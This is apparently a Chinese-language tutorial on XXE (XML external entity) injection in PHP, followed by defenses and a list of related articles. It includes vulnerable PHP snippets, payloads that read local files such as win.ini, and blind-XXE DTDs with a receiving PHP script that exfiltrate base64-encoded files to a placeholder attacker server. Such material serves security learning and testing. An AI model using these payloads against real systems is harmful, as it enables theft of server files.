xxe
參考文獻:https://www.cnblogs.com/r00tuser/p/7255939.html
http://www.freebuf.com/column/156863.html
libxml2.9.1及以後,預設不解析外部實體。Linux中需要將libxml低於libxml2.9.1的版本編譯到PHP中,可以使用phpinfo()檢視libxml的版本資訊。
xxe是xml外部實體注入。
實體又分為一般實體和引數實體
① 一般實體的宣告語法:
<!ENTITY 實體名 "實體內容">
引用實體的方式:&實體名;
②引數實體只能在DTD
中使用,引數實體的宣告格式: <!ENTITY % 實體名 “實體內容”>
引用實體的方式:%實體名;
有回顯:
<?php
$data = simplexml_load_string($_GET[`xml`]);
print_r($data);
?>
無回顯
<?php
$data = simplexml_load_string($_GET[`xml`]);
?>
利用xxe漏洞可以進行拒絕服務攻擊,一般xxe利用分為兩種:有回顯和無回顯。有回顯的情況可以直接在頁面中看到Payload的執行結果或現象,無回顯的情況又稱為blind xxe,可以使用外帶資料通道提取資料
(1)有回顯,可利用的方式:(&需要轉化為url編碼%26)
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
或
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo>
(2)無回顯,可利用的方式
可以使用外帶資料通道提取資料,先使用php://filter獲取目標檔案的內容,然後將內容以http請求傳送到接受資料的伺服器(自己伺服器)
%號要進行實體編碼成%(16進位制)或%(10進位制);
①.偷用下師父的payload。
自己伺服器下的xxe.xml內容
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY % trick SYSTEM `http://xxx.xxx.xxx.xxx/xxe/xxe.php?yy=%payload;`>">
%int;
%trick;
在xxe.xml同級還有個xxe.php檔案
<?php
file_put_contents(`1.txt`,$_GET[`yy`]);
?>
在外部攻擊的內容:
<!DOCTYPE root[
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe/xxe.xml">
%remote;]>
<root/>
或
②.
<!DOCTYPE file1 [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd">
%dtd;
%send;
]>
在xxe.dtd同級還有個xxe1.php檔案:
<?php
file_put_contents(`1.txt`,$_GET[`yy`]);
?>
xxe.dtd裡面的內容:
<!ENTITY % all
"<!ENTITY % send SYSTEM `http://xxx.xxx.xxx.xxx/xxe1.php?yy=%payload;`>">
%all;
這個payload的原理和師父的一樣。可以在1.txt裡面或者是日誌裡面檢視base64加密過的想要檢視的檔案,(檢視日誌的命令:tail -f /var/log/apache2/access.log)
如何防禦xxe攻擊
①使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
②過濾使用者提交的XML資料
關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
相關文章
- [PHP]XXE 1PHP
- XXE攻擊是什麼?如何有效防禦XXE攻擊?
- XXE攻擊攻擊原理是什麼?如何防禦XXE攻擊?
- ctfshow XXE做題記錄
- Java 審計之XXE篇Java
- XXE從入門到放棄
- 淺解XXE與Portswigger Web SecWeb
- 淺入深出了解XXE漏洞
- xxe-基於Pikachu的學習
- AMF解析遇上XXE,BurpSuite也躺槍UI
- XXE外部實體注入漏洞總結
- WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)分析Web
- Spring MVC xml繫結pojo造成的XXESpringMVCXMLPOJO
- 從原理到實戰,詳解XXE攻擊
- Oracle盲注結合XXE漏洞遠端獲取資料Oracle
- Java程式碼審計篇 - ofcms系統審計思路講解 - 篇4 - XXE漏洞審計Java
- 7月第1周業務風控關注 | 微信支付SDK被曝XXE漏洞,可竊取商家金鑰偽造訂單
- 【紅色警報】XXE 高危漏洞將大面積影響微信支付安全,可能導致系統淪陷,請升級你的系統!